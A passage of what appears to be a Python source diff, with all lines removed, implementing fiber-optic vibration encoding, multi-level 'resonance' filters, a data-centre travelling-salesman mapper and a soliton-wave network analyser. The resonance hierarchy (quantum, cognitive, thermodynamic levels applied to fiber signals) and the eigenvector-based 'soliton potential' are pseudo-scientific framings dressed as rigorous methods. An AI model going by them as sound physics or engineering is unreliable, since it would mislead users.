infrastructure_features=infrastructure_features, - environmental_features=environmental_features - ) - - # Extract key metrics for VLB encoding - vibrational_risk = tensor_outputs['vibrational_risk'].item() - anomaly_detected = tensor_outputs['anomaly_detection'].item() > 0.5 - - # Calculate frequency and amplitude changes from signature - if len(signature.frequency_spectrum) > 1: - frequency_change = signature.frequency_spectrum[-1] - signature.frequency_spectrum[0] - amplitude_change = signature.amplitude_spectrum[-1] - signature.amplitude_spectrum[0] - else: - frequency_change = 0.0 - amplitude_change = 0.0 - - # Create or get VLB delta for this segment - if signature.segment_id not in self.active_deltas: - target_hash = hashlib.sha256( - f"{baseline_hash}{signature.segment_id}{signature.timestamp}".encode() - ).hexdigest() - self.active_deltas[signature.segment_id] = VLBManifoldDelta( - baseline_hash=baseline_hash, - target_hash=target_hash, - source_domain="fiber_optic_das" - ) - - delta = self.active_deltas[signature.segment_id] - - # Add vibrational switch event - delta.add_vibrational_switch( - locus_id=signature.segment_id, - frequency_change=frequency_change, - amplitude_change=amplitude_change, - anomaly_detected=anomaly_detected, - count=1, - polarity=1.0 if vibrational_risk < 0.5 else -1.0 - ) - - # Calculate compression gain - compression_gain = delta.estimate_compression_gain( - num_loci=self.tensor_network.frequency_dim - ) - - return { - 'tensor_outputs': { - 'vibrational_risk': vibrational_risk, - 'anomaly_detected': anomaly_detected, - 'acoustic_reconstruction': tensor_outputs['acoustic_reconstruction'].numpy() - }, - 'vlb_encoding': { - 'nibble': delta.nibble_encoder.vibrational_state_to_nibble( - frequency_change, amplitude_change, anomaly_detected - ), - 'switches_count': len(delta.switches), - 'kot_cost': delta.kot_cost - }, - 'compression_metrics': { - 'estimated_gain': compression_gain, - 'sparsity': len(delta.switches) / self.tensor_network.frequency_dim - } - } - - def generate_witness_receipt(self, segment_id: str) -> Optional[Dict]: - """ - Generate a VLB-style witness receipt for a fiber optic segment. - - Creates a cryptographic receipt that can be used for replay verification - of vibrational events, following VLB witness accounting methodology. - """ - if segment_id not in self.active_deltas: - return None - - delta = self.active_deltas[segment_id] - - receipt = { - 'segment_id': segment_id, - 'baseline_hash': delta.baseline_hash, - 'target_hash': delta.target_hash, - 'switches': delta.switches, - 'kot_cost': delta.kot_cost, - 'timestamp': time.time(), - 'receipt_hash': hashlib.sha256( - f"{delta.target_hash}{delta.kot_cost}{len(delta.switches)}".encode() - ).hexdigest(), - 'compression_gain': delta.estimate_compression_gain( - num_loci=self.tensor_network.frequency_dim - ) - } - - return receipt - - -class ResonantAlignmentFilter: - """ - Resonant alignment filters based on Research Stack topology resonance hierarchy. - - Implements filtering mechanisms using discovered resonant frequencies and - alignment patterns from: - - TOPOLOGY_RESONANCE_HIERARCHY.md: Multi-level resonance framework - - Signal equation invariant roots: SIGROOT003, SIGROOT021, SIGROOT024 - - Eigenvector resonance probe: Transverse pull and eigengap analysis - """ - - def __init__(self): - # Resonance hierarchy levels from TOPOLOGY_RESONANCE_HIERARCHY.md - self.resonance_levels = { - 'L0_quantum': { - 'type': 'Wavefunction Superposition', - 'characteristic_freq': 'h_bar/tau_quantum', - 'coupling': 'Hamiltonian coupling', - 'manifestation': 'Energy eigenstate transitions' - }, - 'L1_information': { - 'type': 'Signal Wave', - 'characteristic_freq': 'omega_signal', - 'coupling': 'Information flow', - 'manifestation': 'Signal encoding/decoding' - }, - 'L2_cognitive': { - 'type': 'Neural Oscillation', - 'characteristic_freq': '1-100 Hz', - 'coupling': 'Synaptic coupling', - 'manifestation': 'Cognitive load oscillations' - }, - 'L3_geometric': { - 'type': 'Spherion Resonance', - 'characteristic_freq': 'sqrt(g/R_sph)', - 'coupling': 'Pyramid height coupling', - 'manifestation': 'Standing waves on S²' - }, - 'L4_topological': { - 'type': 'Manifold Drift', - 'characteristic_freq': 'omega_manifold', - 'coupling': 'PIST manifold', - 'manifestation': 'Topological state transitions' - }, - 'L5_thermodynamic': { - 'type': 'Energy Gradient', - 'characteristic_freq': 'omega_thermo', - 'coupling': 'Temperature gradient', - 'manifestation': 'Energy flow across scales' - } - } - - # Signal equation invariant roots for resonance filtering - self.resonance_roots = { - 'SIGROOT003_resonance_degeneracy': { - 'equation': 'deg(left,right) = |support(left) intersect support(right)|', - 'invariant_root': 'support-intersection cardinality', - 'filter_use': 'overlap score for frequency bin collisions' - }, - 'SIGROOT021_parabolic_j_score': { - 'equation': 'J(k) = 32 - 0.5*(k-22)^2', - 'invariant_root': 'distance from resonant vertex k=22', - 'filter_use': 'resonance-ranked candidate pruning' - }, - 'SIGROOT024_lorentzian_resonance': { - 'equation': 'L(delta) = 1/(1+delta^2)', - 'invariant_root': 'squared detuning from spectral center', - 'filter_use': 'nearest spectral-basis assignment' - } - } - - # Eigenvector resonance parameters - self.eigenvector_params = { - 'min_pull': 1.0e-6, - 'min_eigengap': 1.0e-9, - 'max_stability_angle_deg': 35.0 - } - - # Spherion resonance parameters - self.spherion_params = { - 'geometric_coupling': 1.0, # g parameter - 'min_quality_factor': 10.0, # Q = omega_res/delta_omega - 'resonant_modes': ['monopole', 'dipole', 'quadrupole'] - } - - def lorentzian_resonance_filter(self, frequency: float, center_freq: float, width: float = 1.0) -> float: - """ - Apply Lorentzian resonance filter (SIGROOT024). - - L(delta) = 1/(1+delta^2) where delta is detuning from spectral center. - """ - delta = (frequency - center_freq) / width - return 1.0 / (1.0 + delta**2) - - def parabolic_resonance_score(self, frequency_bin: int, resonant_vertex: int = 22) -> float: - """ - Calculate parabolic resonance score (SIGROOT021). - - J(k) = 32 - 0.5*(k-22)^2 - distance from resonant vertex. - """ - deviation = frequency_bin - resonant_vertex - return 32.0 - 0.5 * deviation**2 - - def resonance_degeneracy_filter(self, support_left: set, support_right: set) -> int: - """ - Calculate resonance degeneracy (SIGROOT003). - - deg(left,right) = |support(left) intersect support(right)| - """ - return len(support_left.intersection(support_right)) - - def spherion_resonance_frequency(self, radius: float, geometric_coupling: float = 1.0) -> float: - """ - Calculate spherion resonant frequency (L3 geometric level). - - omega_res = sqrt(g/R_sph) - """ - if radius <= 0: - return 0.0 - return math.sqrt(geometric_coupling / radius) - - def quality_factor_filter(self, resonant_freq: float, linewidth: float) -> float: - """ - Calculate quality factor for resonance sharpness. - - Q = omega_res / delta_omega - """ - if linewidth <= 0: - return float('inf') - return resonant_freq / linewidth - - def cognitive_band_filter(self, frequency: float) -> float: - """ - Apply cognitive level resonance filter (L2: 1-100 Hz). - - Filters frequencies based on neural oscillation bands. - """ - if 1.0 <= frequency <= 100.0: - # Within cognitive resonance band - return 1.0 - elif 0.5 <= frequency <= 200.0: - # Partial resonance in extended band - return 0.5 - else: - # Outside cognitive resonance - return 0.0 - - def thermodynamic_gradient_filter(self, frequency: float, temperature_gradient: float) -> float: - """ - Apply thermodynamic level resonance filter (L5). - - Energy flow resonance depends on temperature gradient. - """ - gradient_magnitude = abs(temperature_gradient) - if gradient_magnitude < 1e-6: - return 0.0 - # Normalize gradient effect - return min(1.0, gradient_magnitude * 1e6) - - def multi_level_resonance_score(self, frequency: float, - spatial_coords: Tuple[float, float, float], - temperature: float = 300.0) -> Dict[str, float]: - """ - Calculate multi-level resonance score across all topology levels. - - Returns resonance scores for each level in the hierarchy. - """ - scores = {} - - # L0: Quantum level (simplified as high-frequency component) - scores['L0_quantum'] = self.lorentzian_resonance_filter(frequency, 1e15, 1e13) - - # L1: Information level (signal wave resonance) - scores['L1_information'] = self.lorentzian_resonance_filter(frequency, 1000.0, 500.0) - - # L2: Cognitive level (neural oscillation) - scores['L2_cognitive'] = self.cognitive_band_filter(frequency) - - # L3: Geometric level (spherion resonance) - radius = math.sqrt(sum(c**2 for c in spatial_coords)) + 1e-6 - spherion_freq = self.spherion_resonance_frequency(radius) - scores['L3_geometric'] = self.lorentzian_resonance_filter(frequency, spherion_freq, spherion_freq * 0.1) - - # L4: Topological level (manifold drift) - scores['L4_topological'] = self.lorentzian_resonance_filter(frequency, 100.0, 50.0) - - # L5: Thermodynamic level - temp_gradient = temperature - 300.0 # Relative to room temperature - scores['L5_thermodynamic'] = self.thermodynamic_gradient_filter(frequency, temp_gradient) - - return scores - - def combined_resonance_filter(self, frequency_spectrum: np.ndarray, - spatial_coords: Tuple[float, float, float], - temperature: float = 300.0) -> np.ndarray: - """ - Apply combined resonance filtering across frequency spectrum. - - Combines all resonance hierarchy levels into a unified filter. - """ - filtered_spectrum = np.zeros_like(frequency_spectrum) - - for i, frequency in enumerate(frequency_spectrum): - # Get multi-level resonance scores - level_scores = self.multi_level_resonance_score(frequency, spatial_coords, temperature) - - # Combine scores using weighted average - # Weight geometric level higher as it's the resonance apex - weights = { - 'L0_quantum': 0.1, - 'L1_information': 0.15, - 'L2_cognitive': 0.2, - 'L3_geometric': 0.3, # Highest weight - resonance apex - 'L4_topological': 0.15, - 'L5_thermodynamic': 0.1 - } - - combined_score = sum(weights[level] * score for level, score in level_scores.items()) - filtered_spectrum[i] = frequency_spectrum[i] * combined_score - - return filtered_spectrum - - -class GlobalDataCenterTSPMapper: - """ - Traveling Salesman Problem mapper for global data center network optimization. - - Cross-maps Starlink ground stations to major data centers worldwide, creating - an eigen-decomposed network map that uses known and unknown information to - "light up" the optimal network topology. - """ - - def __init__(self): - # Major global data centers with coordinates and importance weights - self.major_data_centers = { - # North America - 'ashburn_va': {'lat': 39.04, 'lon': -77.49, 'importance': 1.0, 'region': 'na'}, - 'reston_va': {'lat': 38.97, 'lon': -77.34, 'importance': 0.9, 'region': 'na'}, - 'dallas_tx': {'lat': 32.78, 'lon': -96.80, 'importance': 0.95, 'region': 'na'}, - 'chicago_il': {'lat': 41.88, 'lon': -87.63, 'importance': 0.85, 'region': 'na'}, - 'los_angeles_ca': {'lat': 34.05, 'lon': -118.24, 'importance': 0.9, 'region': 'na'}, - 'san_francisco_ca': {'lat': 37.77, 'lon': -122.42, 'importance': 0.95, 'region': 'na'}, - 'seattle_wa': {'lat': 47.61, 'lon': -122.33, 'importance': 0.8, 'region': 'na'}, - 'new_york_ny': {'lat': 40.71, 'lon': -74.01, 'importance': 1.0, 'region': 'na'}, - 'atlanta_ga': {'lat': 33.76, 'lon': -84.39, 'importance': 0.85, 'region': 'na'}, - 'denver_co': {'lat': 39.74, 'lon': -104.99, 'importance': 0.75, 'region': 'na'}, - - # Europe - 'london_uk': {'lat': 51.50, 'lon': -0.13, 'importance': 1.0, 'region': 'eu'}, - 'frankfurt_de': {'lat': 50.11, 'lon': 8.68, 'importance': 0.95, 'region': 'eu'}, - 'amsterdam_nl': {'lat': 52.37, 'lon': 4.89, 'importance': 0.9, 'region': 'eu'}, - 'paris_fr': {'lat': 48.86, 'lon': 2.35, 'importance': 0.85, 'region': 'eu'}, - 'dublin_ie': {'lat': 53.35, 'lon': -6.26, 'importance': 0.8, 'region': 'eu'}, - 'madrid_es': {'lat': 40.42, 'lon': -3.71, 'importance': 0.75, 'region': 'eu'}, - 'milan_it': {'lat': 45.46, 'lon': 9.19, 'importance': 0.7, 'region': 'eu'}, - 'stockholm_se': {'lat': 59.33, 'lon': 18.06, 'importance': 0.65, 'region': 'eu'}, - 'berlin_de': {'lat': 52.52, 'lon': 13.40, 'importance': 0.75, 'region': 'eu'}, - 'zurich_ch': {'lat': 47.38, 'lon': 8.54, 'importance': 0.7, 'region': 'eu'}, - - # Asia Pacific - 'tokyo_jp': {'lat': 35.68, 'lon': 139.69, 'importance': 1.0, 'region': 'ap'}, - 'singapore_sg': {'lat': 1.35, 'lon': 103.82, 'importance': 0.95, 'region': 'ap'}, - 'hong_kong_cn': {'lat': 22.32, 'lon': 114.18, 'importance': 0.9, 'region': 'ap'}, - 'sydney_au': {'lat': -33.87, 'lon': 151.21, 'importance': 0.85, 'region': 'ap'}, - 'seoul_kr': {'lat': 37.57, 'lon': 126.98, 'importance': 0.8, 'region': 'ap'}, - 'shanghai_cn': {'lat': 31.23, 'lon': 121.47, 'importance': 0.85, 'region': 'ap'}, - 'mumbai_in': {'lat': 19.08, 'lon': 72.88, 'importance': 0.8, 'region': 'ap'}, - 'osaka_jp': {'lat': 34.69, 'lon': 135.50, 'importance': 0.75, 'region': 'ap'}, - 'bangalore_in': {'lat': 12.97, 'lon': 77.59, 'importance': 0.7, 'region': 'ap'}, - 'jakarta_id': {'lat': -6.21, 'lon': 106.85, 'importance': 0.65, 'region': 'ap'}, - - # South America - 'sao_paulo_br': {'lat': -23.55, 'lon': -46.64, 'importance': 0.8, 'region': 'sa'}, - 'buenos_aires_ar': {'lat': -34.60, 'lon': -58.38, 'importance': 0.7, 'region': 'sa'}, - 'santiago_cl': {'lat': -33.45, 'lon': -70.67, 'importance': 0.65, 'region': 'sa'}, - 'lima_pe': {'lat': -12.05, 'lon': -77.03, 'importance': 0.6, 'region': 'sa'}, - 'bogota_co': {'lat': 4.71, 'lon': -74.07, 'importance': 0.65, 'region': 'sa'}, - - # Middle East & Africa - 'dubai_ae': {'lat': 25.20, 'lon': 55.27, 'importance': 0.85, 'region': 'me'}, - 'johannesburg_za': {'lat': -26.20, 'lon': 28.04, 'importance': 0.7, 'region': 'af'}, - 'cairo_eg': {'lat': 30.04, 'lon': 31.24, 'importance': 0.65, 'region': 'me'}, - 'tel_aviv_il': {'lat': 32.08, 'lon': 34.78, 'importance': 0.6, 'region': 'me'}, - 'nairobi_ke': {'lat': -1.29, 'lon': 36.82, 'importance': 0.55, 'region': 'af'}, - - # Additional strategic locations - 'helsinki_fi': {'lat': 60.17, 'lon': 24.94, 'importance': 0.6, 'region': 'eu'}, - 'oslo_no': {'lat': 59.91, 'lon': 10.75, 'importance': 0.55, 'region': 'eu'}, - 'vienna_at': {'lat': 48.21, 'lon': 16.37, 'importance': 0.65, 'region': 'eu'}, - 'prague_cz': {'lat': 50.08, 'lon': 14.42, 'importance': 0.6, 'region': 'eu'}, - 'warsaw_pl': {'lat': 52.23, 'lon': 21.01, 'importance': 0.65, 'region': 'eu'}, - } - - # Network connection types with costs - self.connection_types = { - 'fiber_submarine': {'cost_per_km': 0.1, 'latency_per_km': 0.005, 'bandwidth_gbps': 100}, - 'fiber_terrestrial': {'cost_per_km': 0.05, 'latency_per_km': 0.004, 'bandwidth_gbps': 100}, - 'starlink_backhaul': {'cost_per_km': 0.02, 'latency_per_km': 0.025, 'bandwidth_gbps': 1}, - 'satellite_geostationary': {'cost_per_km': 0.015, 'latency_per_km': 0.25, 'bandwidth_gbps': 0.5}, - 'microwave': {'cost_per_km': 0.03, 'latency_per_km': 0.003, 'bandwidth_gbps': 10}, - } - - # Known network information (confirmed connections) - self.known_connections = { - ('ashburn_va', 'reston_va'): {'type': 'fiber_terrestrial', 'confidence': 1.0}, - ('london_uk', 'amsterdam_nl'): {'type': 'fiber_submarine', 'confidence': 0.95}, - ('tokyo_jp', 'singapore_sg'): {'type': 'fiber_submarine', 'confidence': 0.9}, - ('new_york_ny', 'london_uk'): {'type': 'fiber_submarine', 'confidence': 0.95}, - ('los_angeles_ca', 'tokyo_jp'): {'type': 'fiber_submarine', 'confidence': 0.85}, - ('san_francisco_ca', 'tokyo_jp'): {'type': 'fiber_submarine', 'confidence': 0.9}, - } - - # Unknown network information (predicted connections) - self.unknown_connections = {} # Will be populated during analysis - - def calculate_distance_matrix(self) -> np.ndarray: - """ - Calculate distance matrix between all data centers. - - Returns a symmetric matrix of great-circle distances in km. - """ - centers = list(self.major_data_centers.keys()) - n = len(centers) - distance_matrix = np.zeros((n, n)) - - for i in range(n): - for j in range(n): - if i != j: - center1 = self.major_data_centers[centers[i]] - center2 = self.major_data_centers[centers[j]] - distance_matrix[i, j] = self._haversine_distance( - center1['lat'], center1['lon'], - center2['lat'], center2['lon'] - ) - - return distance_matrix - - def _haversine_distance(self, lat1: float, lon1: float, - lat2: float, lon2: float) -> float: - """Calculate great-circle distance using Haversine formula.""" - R = 6371.0 # Earth radius in km - - lat1_rad = math.radians(lat1) - lat2_rad = math.radians(lat2) - lon1_rad = math.radians(lon1) - lon2_rad = math.radians(lon2) - - dlat = lat2_rad - lat1_rad - dlon = lon2_rad - lon1_rad - - a = math.sin(dlat/2)**2 + math.cos(lat1_rad) * math.cos(lat2_rad) * math.sin(dlon/2)**2 - c = 2 * math.asin(math.sqrt(a)) - - return R * c - - def build_network_adjacency_matrix(self, connection_type: str = 'fiber_submarine') -> np.ndarray: - """ - Build network adjacency matrix based on connection costs and constraints. - - Creates a weighted adjacency matrix for TSP formulation. - """ - centers = list(self.major_data_centers.keys()) - n = len(centers) - adjacency_matrix = np.full((n, n), np.inf) - - for i in range(n): - for j in range(n): - if i != j: - center1 = self.major_data_centers[centers[i]] - center2 = self.major_data_centers[centers[j]] - - distance = self._haversine_distance( - center1['lat'], center1['lon'], - center2['lat'], center2['lon'] - ) - - # Check if connection is known - connection_key = (centers[i], centers[j]) if (centers[i], centers[j]) in self.known_connections else (centers[j], centers[i]) - if connection_key in self.known_connections: - conn_info = self.known_connections[connection_key] - conn_type = conn_info['type'] - confidence = conn_info['confidence'] - else: - conn_type = connection_type - confidence = 0.5 # Default confidence for unknown connections - - # Calculate cost based on connection type - if conn_type in self.connection_types: - cost_params = self.connection_types[conn_type] - base_cost = distance * cost_params['cost_per_km'] - confidence_penalty = (1.0 - confidence) * 100 # Penalty for unknown connections - adjacency_matrix[i, j] = base_cost + confidence_penalty - - return adjacency_matrix - - def eigen_decompose_network(self, adjacency_matrix: np.ndarray) -> Dict[str, Any]: - """ - Perform eigen decomposition of network adjacency matrix. - - Returns eigenvalues, eigenvectors, and spectral properties for network illumination. - """ - # Ensure symmetric matrix for eigen decomposition - symmetric_matrix = (adjacency_matrix + adjacency_matrix.T) / 2 - - # Replace infinite values with large finite values - symmetric_matrix[np.isinf(symmetric_matrix)] = 1e6 - - # Compute eigen decomposition - eigenvalues, eigenvectors = np.linalg.eigh(symmetric_matrix) - - # Sort eigenvalues and eigenvectors - idx = np.argsort(eigenvalues) - eigenvalues = eigenvalues[idx] - eigenvectors = eigenvectors[:, idx] - - # Calculate spectral properties - spectral_radius = np.max(np.abs(eigenvalues)) - spectral_gap = eigenvalues[1] - eigenvalues[0] if len(eigenvalues) > 1 else 0 - algebraic_connectivity = eigenvalues[1] # Fiedler value - - # Calculate eigenvector centrality - eigenvector_centrality = np.abs(eigenvectors[:, -1]) # Largest eigenvector - - return { - 'eigenvalues': eigenvalues, - 'eigenvectors': eigenvectors, - 'spectral_radius': spectral_radius, - 'spectral_gap': spectral_gap, - 'algebraic_connectivity': algebraic_connectivity, - 'eigenvector_centrality': eigenvector_centrality, - 'symmetric_matrix': symmetric_matrix - } - - def illuminate_network_map(self, eigen_data: Dict[str, Any], - illumination_threshold: float = 0.5) -> Dict[str, Any]: - """ - "Light up" the network map using eigen decomposition results. - - Identifies critical nodes, optimal paths, and network structure. - """ - centers = list(self.major_data_centers.keys()) - centrality = eigen_data['eigenvector_centrality'] - - # Normalize centrality - normalized_centrality = centrality / np.max(centrality) - - # Identify illuminated nodes (above threshold) - illuminated_nodes = [] - for i, center in enumerate(centers): - if normalized_centrality[i] >= illumination_threshold: - illuminated_nodes.append({ - 'data_center': center, - 'centrality': normalized_centrality[i], - 'importance': self.major_data_centers[center]['importance'], - 'region': self.major_data_centers[center]['region'] - }) - - # Sort by centrality - illuminated_nodes.sort(key=lambda x: x['centrality'], reverse=True) - - # Calculate network illumination score - illumination_score = np.mean(normalized_centrality[normalized_centrality >= illumination_threshold]) - - # Identify critical paths based on eigenvector components - critical_paths = self._identify_critical_paths(eigen_data, illumination_threshold) - - return { - 'illuminated_nodes': illuminated_nodes, - 'illumination_score': illumination_score, - 'critical_paths': critical_paths, - 'spectral_radius': eigen_data['spectral_radius'], - 'algebraic_connectivity': eigen_data['algebraic_connectivity'], - 'total_nodes': len(centers), - 'illuminated_count': len(illuminated_nodes) - } - - def _identify_critical_paths(self, eigen_data: Dict[str, Any], - threshold: float) -> List[Dict[str, Any]]: - """Identify critical network paths using eigenvector analysis.""" - centers = list(self.major_data_centers.keys()) - eigenvectors = eigen_data['eigenvectors'] - eigenvalues = eigen_data['eigenvalues'] - - # Use second eigenvector (Fiedler vector) for community structure - if len(eigenvalues) > 1: - fiedler_vector = eigenvectors[:, 1] - - # Identify communities based on sign of Fiedler vector - community1 = [centers[i] for i in range(len(centers)) if fiedler_vector[i] > 0] - community2 = [centers[i] for i in range(len(centers)) if fiedler_vector[i] < 0] - - # Find inter-community connections (critical paths) - critical_paths = [] - for node1 in community1[:5]: # Top 5 from each community - for node2 in community2[:5]: - idx1 = centers.index(node1) - idx2 = centers.index(node2) - critical_paths.append({ - 'source': node1, - 'destination': node2, - 'fiedler_difference': abs(fiedler_vector[idx1] - fiedler_vector[idx2]), - 'community_separation': True - }) - - # Sort by Fiedler difference - critical_paths.sort(key=lambda x: x['fiedler_difference'], reverse=True) - - return critical_paths[:10] # Top 10 critical paths - - return [] - - def solve_tsp_network(self, start_node: str = 'ashburn_va', - max_iterations: int = 1000) -> Dict[str, Any]: - """ - Solve Traveling Salesman Problem for optimal network routing. - - Uses simulated annealing to find optimal path visiting all data centers. - """ - centers = list(self.major_data_centers.keys()) - adjacency_matrix = self.build_network_adjacency_matrix() - n = len(centers) - - # Initialize with greedy solution - current_path = self._greedy_tsp_init(adjacency_matrix, centers, start_node) - current_cost = self._calculate_path_cost(current_path, adjacency_matrix, centers) - - # Simulated annealing parameters - temperature = 1000.0 - cooling_rate = 0.995 - best_path = current_path.copy() - best_cost = current_cost - - for iteration in range(max_iterations): - # Generate neighbor by swapping two random cities - new_path = current_path.copy() - i, j = random.sample(range(1, n), 2) # Keep start node fixed - new_path[i], new_path[j] = new_path[j], new_path[i] - - new_cost = self._calculate_path_cost(new_path, adjacency_matrix, centers) - - # Accept if better or with probability based on temperature - if new_cost < current_cost or random.random() < math.exp((current_cost - new_cost) / temperature): - current_path = new_path - current_cost = new_cost - - if current_cost < best_cost: - best_path = current_path.copy() - best_cost = current_cost - - # Cool down - temperature *= cooling_rate - - # Calculate path details - path_details = [] - for i in range(len(best_path) - 1): - from_center = best_path[i] - to_center = best_path[i + 1] - from_idx = centers.index(from_center) - to_idx = centers.index(to_center) - - path_details.append({ - 'from': from_center, - 'to': to_center, - 'distance_km': self._haversine_distance( - self.major_data_centers[from_center]['lat'], - self.major_data_centers[from_center]['lon'], - self.major_data_centers[to_center]['lat'], - self.major_data_centers[to_center]['lon'] - ), - 'cost': adjacency_matrix[from_idx, to_idx] - }) - - return { - 'optimal_path': best_path, - 'total_cost': best_cost, - 'path_details': path_details, - 'iterations': max_iterations, - 'start_node': start_node - } - - def _greedy_tsp_init(self, adjacency_matrix: np.ndarray, - centers: List[str], start_node: str) -> List[str]: - """Initialize TSP solution with greedy nearest-neighbor algorithm.""" - n = len(centers) - visited = {start_node} - path = [start_node] - current = start_node - - while len(visited) < n: - current_idx = centers.index(current) - nearest_dist = np.inf - nearest_node = None - - for i, center in enumerate(centers): - if center not in visited and adjacency_matrix[current_idx, i] < nearest_dist: - nearest_dist = adjacency_matrix[current_idx, i] - nearest_node = center - - if nearest_node: - visited.add(nearest_node) - path.append(nearest_node) - current = nearest_node - else: - break - - return path - - def _calculate_path_cost(self, path: List[str], - adjacency_matrix: np.ndarray, - centers: List[str]) -> float: - """Calculate total cost of a TSP path.""" - total_cost = 0.0 - for i in range(len(path) - 1): - from_idx = centers.index(path[i]) - to_idx = centers.index(path[i + 1]) - total_cost += adjacency_matrix[from_idx, to_idx] - - # Add return to start - from_idx = centers.index(path[-1]) - to_idx = centers.index(path[0]) - total_cost += adjacency_matrix[from_idx, to_idx] - - return total_cost - - def integrate_known_unknown_analysis(self, eigen_data: Dict[str, Any], - tsp_solution: Dict[str, Any]) -> Dict[str, Any]: - """ - Integrate known and unknown network information for comprehensive analysis. - - Combines eigen decomposition insights with TSP optimization using - both confirmed and predicted network connections. - """ - illuminated_map = self.illuminate_network_map(eigen_data) - - # Analyze known vs unknown connections in optimal path - path_analysis = [] - for detail in tsp_solution['path_details']: - conn_key = (detail['from'], detail['to']) - reverse_key = (detail['to'], detail['from']) - - if conn_key in self.known_connections: - confidence = self.known_connections[conn_key]['confidence'] - known = True - elif reverse_key in self.known_connections: - confidence = self.known_connections[reverse_key]['confidence'] - known = True - else: - confidence = 0.5 # Unknown connection - known = False - - path_analysis.append({ - 'from': detail['from'], - 'to': detail['to'], - 'distance_km': detail['distance_km'], - 'cost': detail['cost'], - 'known_connection': known, - 'confidence': confidence, - 'connection_type': self.known_connections.get(conn_key, {}).get('type', 'predicted') - }) - - # Calculate known vs unknown ratio - known_count = sum(1 for p in path_analysis if p['known_connection']) - unknown_count = len(path_analysis) - known_count - known_ratio = known_count / len(path_analysis) if path_analysis else 0 - - return { - 'illuminated_map': illuminated_map, - 'path_analysis': path_analysis, - 'known_ratio': known_ratio, - 'unknown_ratio': 1.0 - known_ratio, - 'network_certainty': known_ratio * 0.7 + illuminated_map['illumination_score'] * 0.3, - 'tsp_cost': tsp_solution['total_cost'], - 'spectral_insights': { - 'spectral_radius': eigen_data['spectral_radius'], - 'algebraic_connectivity': eigen_data['algebraic_connectivity'], - 'spectral_gap': eigen_data['spectral_gap'] - } - } - - -class SolitonWaveAnalyzer: - """ - Soliton wave analysis for network topology optimization. - - Applies nonlinear wave theory (Nonlinear Schrödinger, Sine-Gordon equations) to determine - optimal network focal points where soliton waves naturally propagate, providing insights - into ideal network placement and signal routing paths. - """ - - def __init__(self): - # Soliton wave parameters for fiber optic networks - self.soliton_parameters = { - 'nonlinear_schrodinger': { - 'dispersion_coefficient': -1.0, # β₂ (ps²/km) - 'nonlinear_coefficient': 1.0, # γ (1/W·km) - 'soliton_order': 1, # N (fundamental soliton) - 'pulse_width_ps': 10, # T₀ - 'peak_power_w': 100, # P₀ - 'wavelength_nm': 1550 # λ - }, - 'sine_gordon': { - 'wave_speed': 1.0, # c - 'mass_parameter': 1.0, # m - 'coupling_constant': 1.0 # g - }, - 'kdv': { - 'wave_speed': 1.0, # c - 'dispersion_coefficient': 1.0, # δ - 'nonlinear_coefficient': 1.0 # α - } - } - - # Soliton propagation characteristics - self.propagation_properties = { - 'soliton_stability_threshold': 0.95, - 'phase_velocity': 1.0, - 'group_velocity': 0.8, - 'soliton_width_preservation': 0.98, - 'energy_conservation': 0.99 - } - - # Network soliton focal point criteria - self.focal_criteria = { - 'centrality_threshold': 0.7, - 'connectivity_threshold': 0.8, - 'stability_threshold': 0.9, - 'energy_threshold': 0.85 - } - - def analyze_soliton_propagation(self, eigen_data: Dict[str, Any], - network_topology: Dict[str, Any]) -> Dict[str, Any]: - """ - Analyze soliton wave propagation through network topology. - - Uses eigen decomposition results to identify paths where soliton waves - would naturally propagate with minimal distortion. - """ - centers = list(network_topology.get('data_centers', {}).keys()) - eigenvectors = eigen_data['eigenvectors'] - eigenvalues = eigen_data['eigenvalues'] - centrality = eigen_data['eigenvector_centrality'] - - # Calculate soliton propagation potential for each node - soliton_potentials = [] - for i, center in enumerate(centers): - # Soliton potential based on eigenvector components - potential = self._calculate_soliton_potential( - eigenvectors[:, i], eigenvalues, centrality[i] - ) - - soliton_potentials.append({ - 'data_center': center, - 'soliton_potential': potential, - 'centrality': centrality[i], - 'eigenvalue': eigenvalues[i] - }) - - # Sort by soliton potential - soliton_potentials.sort(key=lambda x: x['soliton_potential'], reverse=True) - - # Identify soliton focal points - focal_points = [p for p in soliton_potentials - if p['soliton_potential'] >= self.focal_criteria['centrality_threshold']] - - return { - 'soliton_potentials': soliton_potentials, - 'focal_points': focal_points, - 'primary_focal_point': focal_points[0] if focal_points else None, - 'soliton_paths': self._identify_soliton_paths(eigen_data, network_topology) - } - - def _calculate_soliton_potential(self, eigenvector: np.ndarray, - eigenvalues: np.ndarray, - centrality: float) -> float: - """ - Calculate soliton propagation potential using nonlinear Schrödinger equation. - - Ψ(x,t) = A·sech((x - vt)/T₀)·exp(i(kx - ωt + φ)) - """ - # Use largest eigenvector component for soliton amplitude - amplitude = np.max(np.abs(eigenvector)) - - # Soliton order calculation - soliton_order = amplitude * math.sqrt(self.soliton_parameters['nonlinear_schrodinger']['nonlinear_coefficient']) - - # Energy conservation factor - energy_factor = self.propagation_properties['energy_conservation'] - - # Phase stability factor - phase_factor = self._calculate_phase_stability(eigenvector, eigenvalues) - - # Combined soliton potential - potential = (centrality * 0.4 + - soliton_order * 0.3 + - energy_factor * 0.2 + - phase_factor * 0.1) - - return min(potential, 1.0) - - def _calculate_phase_stability(self, eigenvector: np.ndarray, - eigenvalues: np.ndarray) -> float: - """Calculate phase stability using eigenvalue spacing.""" - if len(eigenvalues) < 2: - return 1.0 - - # Spectral gap indicates phase stability - spectral_gap = abs(eigenvalues[1] - eigenvalues[0]) - normalized_gap = min(spectral_gap / abs(eigenvalues[0]), 1.0) if eigenvalues[0] != 0 else 1.0 - - return normalized_gap - - def _identify_soliton_paths(self, eigen_data: Dict[str, Any], - network_topology: Dict[str, Any]) -> List[Dict[str, Any]]: - """ - Identify optimal soliton propagation paths through the network. - - Uses Fiedler vector (second eigenvector) to determine optimal routing paths. - """ - centers = list(network_topology.get('data_centers', {}).keys()) - eigenvectors = eigen_data['eigenvectors'] - eigenvalues = eigen_data['eigenvalues'] - - if len(eigenvalues) < 2: - return [] - - # Use Fiedler vector for community structure - fiedler_vector = eigenvectors[:, 1] - - # Identify communities based on Fiedler vector sign - community1 = [centers[i] for i in range(len(centers)) if fiedler_vector[i] > 0] - community2 = [centers[i] for i in range(len(centers)) if fiedler_vector[i] < 0] - - # Calculate soliton paths between communities - soliton_paths = [] - for node1 in community1[:5]: # Top 5 from each community - for node2 in community2[:5]: - idx1 = centers.index(node1) - idx2 = centers.index(node2) - - # Soliton path quality based on Fiedler difference - fiedler_diff = abs(fiedler_vector[idx1] - fiedler_vector[idx2]) - path_quality = min(fiedler_diff / 2.0, 1.0) # Normalize - - 